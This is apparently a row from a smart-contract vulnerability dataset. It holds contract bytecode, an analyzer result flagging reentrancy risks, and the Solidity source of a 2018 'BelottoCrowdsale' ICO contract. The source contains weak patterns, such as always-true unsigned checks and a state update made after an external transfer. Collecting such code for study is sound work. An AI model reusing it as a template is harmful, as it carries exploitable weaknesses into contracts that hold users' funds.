4820152602d60248201527f43616e6e6f74207769746864726177204554482077697468207769746864726160448201527f77546f6b656e206d6574686f6400000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382166000908152600460209081526040808320338452909152902054811115611b38576040805160e560020a62461bcd02815260206004820152602260248201527f43616e6e6f74207769746864726177206d6f7265207468616e20796f7520686160448201527f7665000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382166000908152600460209081526040808320338452909152902054611b6690826123e9565b600160a060020a0383166000818152600460208181526040808420338086529083528185209690965580517fa9059cbb00000000000000000000000000000000000000000000000000000000815292830195909552602482018690529351929363a9059cbb9360448084019492939192918390030190829087803b158015611bed57600080fd5b505af1158015611c01573d6000803e3d6000fd5b505050506040513d6020811015611c1757600080fd5b50511515611c6f576040805160e560020a62461bcd02815260206004820152601e60248201527f4572726f72207768696c65207472616e73666572696e6720746f6b656e730000604482015290519081900360640190fd5b600160a060020a03821660008181526004602090815260408083203380855290835292819020548151948552918401929092528282018490526060830152517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b60095481565b600560209081526000928352604080842090915290825290205460ff1681565b600854600090600160a060020a03161515611d1c57600080fd5b611d246123fe565b9050611d2f816124c7565b611d398183612586565b6040805133815290517f0e3e9a671666295c299b941a07625839915442794bf73a484b24bb3e221270c39181900360200190a15050565b60035481565b33600090815260008051602061276d8339815191526020526040902054611d9d90346121e7565b33600081815260008051602061276d8339815191526020908152604080832085905580519283529082019290925234818301526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a1565b600854600160a060020a031681565b600054600160a060020a03163314611e2b57600080fd5b6008805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000931515939093029290921773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116179055565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b600054600160a060020a031681565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808f1683026034850152604884018e90528c169091026068830152607c82018a9052609c820189905260bc8083018990528351808403909101815260dc909201928390528151600093849384938493600293918291908401908083835b60208310611f6e5780518252601f199092019160209182019101611f4f565b51815160209384036101000a600019018019909216911617905260405191909301945091925050808303816000865af1158015611faf573d6000803e3d6000fd5b5050506040513d6020811015611fc457600080fd5b5051600160a060020a038916600090815260056020908152604080832084845290915290205490935060ff1680612137575087600160a060020a031660018460405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083106120815780518252601f199092019160209182019101612062565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015612122573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b80156121435750894311155b151561215257600093506121d6565b600160a060020a0388166000908152600660209081526040808320868452909152902054612181908e906123e9565b600160a060020a03808e166000908152600460209081526040808320938d16835292905220549092508b906121b6908f61274a565b8115156121bf57fe5b049050808210156121d2578193506121d6565b8093505b5050509a9950505050505050505050565b8181018281108015906121fa5750818110155b1515611eb757600080fd5b600080670de0b6b3a764000061221d8460025461274a565b81151561222657fe5b049150670de0b6b3a764000061223e8460035461274a565b81151561224757fe5b600160a060020a038a16600090815260046020908152604080832033845290915290205491900491506122839061227e85846121e7565b6123e9565b600160a060020a03898116600090815260046020908152604080832033845290915280822093909355908616815220546122c6906122c185856123e9565b6121e7565b600160a060020a03898116600090815260046020908152604080832089851684529091528082209390935560015490911681522054612309906122c184846121e7565b600160a060020a03808a166000908152600460208181526040808420600154861685528252808420959095558a841683529081528382209288168252919091522054612369908861235a888761274a565b81151561236357fe5b046123e9565b600160a060020a0387811660009081526004602090815260408083209389168352929052818120929092553382529020546123b890886123a9888761274a565b8115156123b257fe5b046121e7565b600160a060020a03909616600090815260046020908152604080832033845290915290209590955550505050505050565b6000828211156123f857600080fd5b50900390565b600854600090600160a060020a031681805b60148261ffff1610156124bf5782600160a060020a031663d8787fde6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561245b57600080fd5b505af115801561246f573d6000803e3d6000fd5b505050506040513d602081101561248557600080fd5b50519050600160a060020a03811630141561249f57600080fd5b600160a060020a03811615156124b4576124bf565b915060010181612410565b509092915050565b33600090815260008051602061276d8339815191526020526040812054908111156125825733600081815260008051602061276d833981519152602052604080822082905580517f65d9d8e2000000000000000000000000000000000000000000000000000000008152600481019390935251600160a060020a038516926365d9d8e292859260248084019382900301818588803b15801561256857600080fd5b505af115801561257c573d6000803e3d6000fd5b50505050505b5050565b600080805b83518361ffff16101561274357838361ffff168151811015156125aa57fe5b602090810290910101519150600160a060020a03821615156125cb57600080fd5b50600160a060020a03811660009081526004602090815260408083203384529091529020548015156125fc57612738565b81600160a060020a031663095ea7b386836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561265f57600080fd5b505af1158015612673573d6000803e3d6000fd5b505050506040513d602081101561268957600080fd5b5051151561269657600080fd5b600160a060020a03808316600081815260046020818152604080842033808652925280842084905580517f3c2e2a7500000000000000000000000000000000000000000000000000000000815292830194909452602482018690526044820152915192881692633c2e2a7592606480820193929182900301818387803b15801561271f57600080fd5b505af1158015612733573d6000803e3d6000fd5b505050505b60019092019161258b565b5050505050565b8181028215806121fa575081838281151561276157fe5b0414611eb757600080fd0017ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3eca165627a7a7230582078841aadf71db8abdd4c571906e6352d145475df5ab26f99b05efd3af7a2bc080029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,939 |
0x1d54064456965c1da3b95241aafe9218f22f48d8
|
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner, "ONLY OWNER IS ALLOWED");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract IBelottoToken{
function transfer(address to, uint tokens) public returns (bool success);
function burn(uint256 _value) public;
function balanceOf(address tokenOwner) public constant returns (uint balance);
}
/**
* @title BelottoCrowdsale
* @dev BelottoCrowdsale accepting contributions only within a time frame.
*/
contract BelottoCrowdsale is Owned {
using SafeMath for uint256;
uint256 public presaleopeningTime;
uint256 public presaleclosingTime;
uint256 public saleopeningTime;
uint256 public saleclosingTime;
uint256 public secondsaleopeningTime;
uint256 public secondsaleclosingTime;
address public reserverWallet; // Address where reserve tokens will be sent
address public bountyWallet; // Address where bounty tokens will be sent
address public teamsWallet; // Address where team's tokens will be sent
address public fundsWallet; // Address where funds are collected
uint256 public fundsRaised; // Amount of total fundsRaised
uint256 public preSaleTokens;
uint256 public saleTokens;
uint256 public teamAdvTokens;
uint256 public reserveTokens;
uint256 public bountyTokens;
uint256 public hardCap;
uint256 public minTxSize;
uint256 public maxTxSize;
bool public presaleOpen;
bool public firstsaleOpen;
bool public secondsaleOpen;
mapping(address => uint) preSaleFunds;
mapping(address => uint) firstSaleFunds;
mapping(address => uint) secondSaleFunds;
struct Funds {
address spender;
uint256 amount;
uint256 time;
}
Funds[] preSaleFundsArray;
Funds[] firstSaleFundsArray;
Funds[] secondSaleFundsArray;
IBelottoToken public token;
event Burn(address indexed burner, uint256 value);
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/** @dev Reverts if not in crowdsale time range. */
modifier onlyWhilePreSaleOpen {
require(now >= presaleopeningTime && now <= presaleclosingTime, "Pre Sale Close");
_;
}
modifier onlyWhileFirstSaleOpen {
require(now >= saleopeningTime && now <= saleclosingTime, "First Sale Close");
_;
}
modifier onlyWhileSecondSaleOpen {
require(now >= secondsaleopeningTime && now <= secondsaleclosingTime, "Second Sale Close");
_;
}
function totalRemainingTokens() public view returns(uint256 remainingTokens){
return token.balanceOf(this);
}
function BelottoCrowdsale(uint256 _preST, uint256 _saleT, uint256 _teamAdvT, uint256 _reserveT, uint256 _bountyT, address _reserverWallet,
address _bountyWallet, address _teamsWallet, address _fundsWallet, address _tokenContractAdd, address _owner)
public {
_setWallets(_reserverWallet,_bountyWallet,_teamsWallet,_fundsWallet);
_setMoreDetails(_preST,_saleT,_teamAdvT,_reserveT,_bountyT,_owner);
_setTimes();
// takes an address of the existing token contract as parameter
token = IBelottoToken(_tokenContractAdd);
}
function _setTimes() internal{
presaleopeningTime = 1524873600; // 28th April 2018 00:00:00 GMT
presaleclosingTime = 1527379199; // 26th May 2018 23:59:59 GMT
saleopeningTime = 1527724800; // 31st May 2018 00:00:00 GMT
saleclosingTime = 1532908799; // 29th July 2018 23:59:59 GMT
secondsaleopeningTime = 1532908800; // 30th July 2018 00:00:00 GMT
secondsaleclosingTime = 1535673599; // 30th August 2018 23:59:59 GMT
}
function _setWallets(address _reserverWallet, address _bountyWallet, address _teamsWallet, address _fundsWallet) internal{
reserverWallet = _reserverWallet;
bountyWallet = _bountyWallet;
teamsWallet = _teamsWallet;
fundsWallet = _fundsWallet;
}
function _setMoreDetails(uint256 _preST, uint256 _saleT, uint256 _teamAdvT, uint256 _reserveT, uint256 _bountyT, address _owner) internal{
preSaleTokens = _preST * 10**uint(18);
saleTokens = _saleT * 10**uint(18);
teamAdvTokens = _teamAdvT * 10**uint(18);
reserveTokens = _reserveT * 10**uint(18);
bountyTokens = _bountyT * 10**uint(18);
hardCap = 16000 * 10**(uint(18)); //in start only, it'll be set by Owner
minTxSize = 100000000000000000; // in wei's. (0,1 ETH)
maxTxSize = 200000000000000000000; // in wei's. (200 ETH)
owner = _owner;
}
function TokenAllocate(address _wallet,uint256 _amount) internal returns (bool success) {
uint256 tokenAmount = _amount;
token.transfer(_wallet,tokenAmount);
return true;
}
function startSecondSale() public onlyOwner{
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = true;
}
function stopSecondSale() public onlyOwner{
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = false;
if(teamAdvTokens >= 0 && bountyTokens >=0){
TokenAllocate(teamsWallet,teamAdvTokens);
teamAdvTokens = 0;
TokenAllocate(bountyWallet,bountyTokens);
bountyTokens = 0;
}
}
function _checkOpenings(uint256 _weiAmount) internal{
if((fundsRaised + _weiAmount >= hardCap)){
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = true;
}
else if(secondsaleOpen){
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = true;
}
else if(now >= presaleopeningTime && now <= presaleclosingTime){
presaleOpen = true;
firstsaleOpen = false;
secondsaleOpen = false;
if(reserveTokens >= 0){
if(TokenAllocate(reserverWallet,reserveTokens)){
reserveTokens = 0;
}
}
}
else if(now >= saleopeningTime && now <= saleclosingTime){
presaleOpen = false;
firstsaleOpen = true;
secondsaleOpen = false;
}
else if(now >= secondsaleopeningTime && now <= secondsaleclosingTime){
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = true;
}
else{
presaleOpen = false;
firstsaleOpen = false;
secondsaleOpen = false;
if(teamAdvTokens >= 0 && bountyTokens >=0){
TokenAllocate(teamsWallet,teamAdvTokens);
teamAdvTokens = 0;
TokenAllocate(bountyWallet,bountyTokens);
bountyTokens = 0;
}
}
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 ethers = msg.value;
_preValidatePurchase(_beneficiary, ethers);
_checkOpenings(ethers);
_setFunds(_beneficiary,ethers);
// update state of wei's raised during complete ICO
fundsRaised = fundsRaised.add(ethers);
//sjfhj
_forwardFunds(_beneficiary);
}
function _setFunds(address _beneficiary, uint256 _ethers) internal{
if(presaleOpen){
preSaleFundsArray.push(Funds(_beneficiary,_ethers, now));
}
else if(firstsaleOpen){
firstSaleFundsArray.push(Funds(_beneficiary,_ethers, now));
}
else if(secondsaleOpen){
secondSaleFundsArray.push(Funds(_beneficiary,_ethers, now));
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal{
require(_beneficiary != address(0), "WRONG Address");
require(_weiAmount != 0, "Insufficient funds");
require(_weiAmount >= minTxSize && _weiAmount <= maxTxSize ,"FUNDS should be MIN 0,1 ETH and Max 200 ETH");
}
function TotalSpenders() public view returns (uint256 preSaleSpenders,uint256 firstSaleSpenders,uint256 secondSaleSpenders){
return ((preSaleFundsArray.length),(firstSaleFundsArray.length),(secondSaleFundsArray.length));
}
function _forwardFunds(address _beneficiary) internal {
fundsWallet.transfer(msg.value);
}
function preSaleDelivery(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
_checkOpenings(0);
require(!presaleOpen, "Pre-Sale is NOT CLOSE ");
require(preSaleTokens >= _tokenAmount,"NO Pre-SALE Tokens Available");
token.transfer(_beneficiary,_tokenAmount);
preSaleTokens = preSaleTokens.sub(_tokenAmount);
}
function firstSaleDelivery(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
require(!presaleOpen && !firstsaleOpen, "First Sale is NOT CLOSE");
if(saleTokens <= _tokenAmount && preSaleTokens >= _tokenAmount){
saleTokens = saleTokens.add(_tokenAmount);
preSaleTokens = preSaleTokens.sub(_tokenAmount);
}
token.transfer(_beneficiary,_tokenAmount);
saleTokens = saleTokens.sub(_tokenAmount);
}
function secondSaleDelivery(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
require(!presaleOpen && !firstsaleOpen && !secondsaleOpen, "Second Sale is NOT CLOSE");
require(saleTokens >= _tokenAmount,"NO Sale Tokens Available");
token.transfer(_beneficiary,_tokenAmount);
saleTokens = saleTokens.sub(_tokenAmount);
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burnTokens(uint256 _value) public onlyOwner {
token.burn(_value);
}
function preSaleSpenderTxDetails(uint _index) public view returns(address spender, uint256 amount, uint256 time){
return (preSaleFundsArray[_index].spender,preSaleFundsArray[_index].amount,preSaleFundsArray[_index].time);
}
function firstSaleSpenderTxDetails(uint _index) public view returns(address spender, uint256 amount, uint256 time){
return (firstSaleFundsArray[_index].spender,firstSaleFundsArray[_index].amount,firstSaleFundsArray[_index].time);
}
function secSaleSpenderTxDetails(uint _index) public view returns(address spender, uint256 amount, uint256 time){
return (secondSaleFundsArray[_index].spender,secondSaleFundsArray[_index].amount,secondSaleFundsArray[_index].time);
}
function transferRemainingTokens(address _to,uint256 _tokens) public onlyOwner {
require(!presaleOpen && !firstsaleOpen && !secondsaleOpen);
uint myBalance = token.balanceOf(this);
require(myBalance >= _tokens);
token.transfer(_to,_tokens);
}
function updateHardCap(uint256 _hardCap)public onlyOwner {
hardCap = _hardCap * 10**uint(18);
}
}
|
0x6080604052600436106101f9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630198aa7414610204578063066c94ba146102335780630bbed2b71461025e5780630fe83bb81461028957806311e5ea57146102b45780631a9bf9cf1461030b5780631f903b5d146103365780632194f3a2146103b157806327ac36c414610408578063337188d914610433578063583f18ff146104ae57806363981bbc146104d95780636681b9fd146105125780636c4040c51461053d5780636d1b229d146105b8578063703df793146105e5578063784836321461061257806379ba5097146106415780637e150d661461065857806383baa6f4146106835780638da5cb5b146106ae5780639a0e7e8e146107055780639d652118146107525780639eb7294d1461077d578063b0b9603b146107ca578063bd320dde146107f5578063bee6348a14610842578063c18edde114610871578063c4815c961461089c578063ca37f7d9146108c7578063cdee2b921461091e578063ce6eaef514610949578063d01f4ffe14610960578063d4ee1d9014610977578063db412f39146109ce578063e576052014610a1b578063e65e63ed14610a72578063ec8ac4d814610a9d578063f2fde38b14610ad3578063fb86a40414610b16578063fc0c546a14610b41575b61020233610b98565b005b34801561021057600080fd5b50610219610be2565b604051808215151515815260200191505060405180910390f35b34801561023f57600080fd5b50610248610bf5565b6040518082815260200191505060405180910390f35b34801561026a57600080fd5b50610273610bfb565b6040518082815260200191505060405180910390f35b34801561029557600080fd5b5061029e610c01565b6040518082815260200191505060405180910390f35b3480156102c057600080fd5b506102c9610c07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031757600080fd5b50610320610c2d565b6040518082815260200191505060405180910390f35b34801561034257600080fd5b5061036160048036038101908080359060200190929190505050610c33565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156103bd57600080fd5b506103c6610cc8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041457600080fd5b5061041d610cee565b6040518082815260200191505060405180910390f35b34801561043f57600080fd5b5061045e60048036038101908080359060200190929190505050610cf4565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156104ba57600080fd5b506104c3610d89565b6040518082815260200191505060405180910390f35b3480156104e557600080fd5b506104ee610e88565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561051e57600080fd5b50610527610eaa565b6040518082815260200191505060405180910390f35b34801561054957600080fd5b5061056860048036038101908080359060200190929190505050610eb0565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156105c457600080fd5b506105e360048036038101908080359060200190929190505050610f45565b005b3480156105f157600080fd5b50610610600480360381019080803590602001909291905050506110b5565b005b34801561061e57600080fd5b50610627611189565b604051808215151515815260200191505060405180910390f35b34801561064d57600080fd5b5061065661119c565b005b34801561066457600080fd5b5061066d61133b565b6040518082815260200191505060405180910390f35b34801561068f57600080fd5b50610698611341565b6040518082815260200191505060405180910390f35b3480156106ba57600080fd5b506106c3611347565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071157600080fd5b50610750600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136c565b005b34801561075e57600080fd5b50610767611681565b6040518082815260200191505060405180910390f35b34801561078957600080fd5b506107c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611687565b005b3480156107d657600080fd5b506107df6119aa565b6040518082815260200191505060405180910390f35b34801561080157600080fd5b50610840600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119b0565b005b34801561084e57600080fd5b50610857611c82565b604051808215151515815260200191505060405180910390f35b34801561087d57600080fd5b50610886611c95565b6040518082815260200191505060405180910390f35b3480156108a857600080fd5b506108b1611c9b565b6040518082815260200191505060405180910390f35b3480156108d357600080fd5b506108dc611ca1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561092a57600080fd5b50610933611cc7565b6040518082815260200191505060405180910390f35b34801561095557600080fd5b5061095e611ccd565b005b34801561096c57600080fd5b50610975611de4565b005b34801561098357600080fd5b5061098c611f85565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109da57600080fd5b50610a19600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fab565b005b348015610a2757600080fd5b50610a30612298565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7e57600080fd5b50610a876122be565b6040518082815260200191505060405180910390f35b610ad1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b98565b005b348015610adf57600080fd5b50610b14600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122c4565b005b348015610b2257600080fd5b50610b2b6123cc565b6040518082815260200191505060405180910390f35b348015610b4d57600080fd5b50610b566123d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000349050610ba782826123f8565b610bb0816125c8565b610bba8282612911565b610bcf81600c54612b9890919063ffffffff16565b600c81905550610bde82612bb4565b5050565b601560019054906101000a900460ff1681565b60135481565b60065481565b600d5481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000806000601984815481101515610c4757fe5b906000526020600020906003020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601985815481101515610c8857fe5b906000526020600020906003020160010154601986815481101515610ca957fe5b9060005260206000209060030201600201549250925092509193909250565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000806000601b84815481101515610d0857fe5b906000526020600020906003020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601b85815481101515610d4957fe5b906000526020600020906003020160010154601b86815481101515610d6a57fe5b9060005260206000209060030201600201549250925092509193909250565b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610e4857600080fd5b505af1158015610e5c573d6000803e3d6000fd5b505050506040513d6020811015610e7257600080fd5b8101908080519060200190929190505050905090565b6000806000601980549050601a80549050601b80549050925092509250909192565b600c5481565b6000806000601a84815481101515610ec457fe5b906000526020600020906003020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a85815481101515610f0557fe5b906000526020600020906003020160010154601a86815481101515610f2657fe5b9060005260206000209060030201600201549250925092509193909250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611009576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561109a57600080fd5b505af11580156110ae573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611179576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b6012600a0a810260128190555050565b601560029054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900460ff1615801561145a5750601560019054906101000a900460ff16155b80156114735750601560029054906101000a900460ff16155b15156114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5365636f6e642053616c65206973204e4f5420434c4f5345000000000000000081525060200191505060405180910390fd5b80600e5410151515611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e4f2053616c6520546f6b656e7320417661696c61626c65000000000000000081525060200191505060405180910390fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561162657600080fd5b505af115801561163a573d6000803e3d6000fd5b505050506040513d602081101561165057600080fd5b81019080805190602001909291905050505061167781600e54612c2090919063ffffffff16565b600e819055505050565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900460ff161580156117775750601560019054906101000a900460ff16155b80156117905750601560029054906101000a900460ff16155b151561179b57600080fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561185857600080fd5b505af115801561186c573d6000803e3d6000fd5b505050506040513d602081101561188257600080fd5b810190808051906020019092919050505090508181101515156118a457600080fd5b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561196957600080fd5b505af115801561197d573d6000803e3d6000fd5b505050506040513d602081101561199357600080fd5b810190808051906020019092919050505050505050565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900460ff16158015611a9e5750601560019054906101000a900460ff16155b1515611b12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f46697273742053616c65206973204e4f5420434c4f534500000000000000000081525060200191505060405180910390fd5b80600e5411158015611b26575080600d5410155b15611b6257611b4081600e54612b9890919063ffffffff16565b600e81905550611b5b81600d54612c2090919063ffffffff16565b600d819055505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611c2757600080fd5b505af1158015611c3b573d6000803e3d6000fd5b505050506040513d6020811015611c5157600080fd5b810190808051906020019092919050505050611c7881600e54612c2090919063ffffffff16565b600e819055505050565b601560009054906101000a900460ff1681565b60045481565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b6000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ea8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f4e4c59204f574e455220495320414c4c4f574544000000000000000000000081525060200191505060405180910390fd5b6000601560006101000a81548160ff0219169083151502179055506000601560016101000a81548160ff0219169083151502179055506000601560026101000a81548160ff0219169083151502179055506000600f5410158015611f0f5750600060115410155b15611f8357611f42600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f54612c3c565b506000600f81905550611f79600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601154612c3c565b5060006011819055505b565b600160009054906101000a900473ffffffffffffff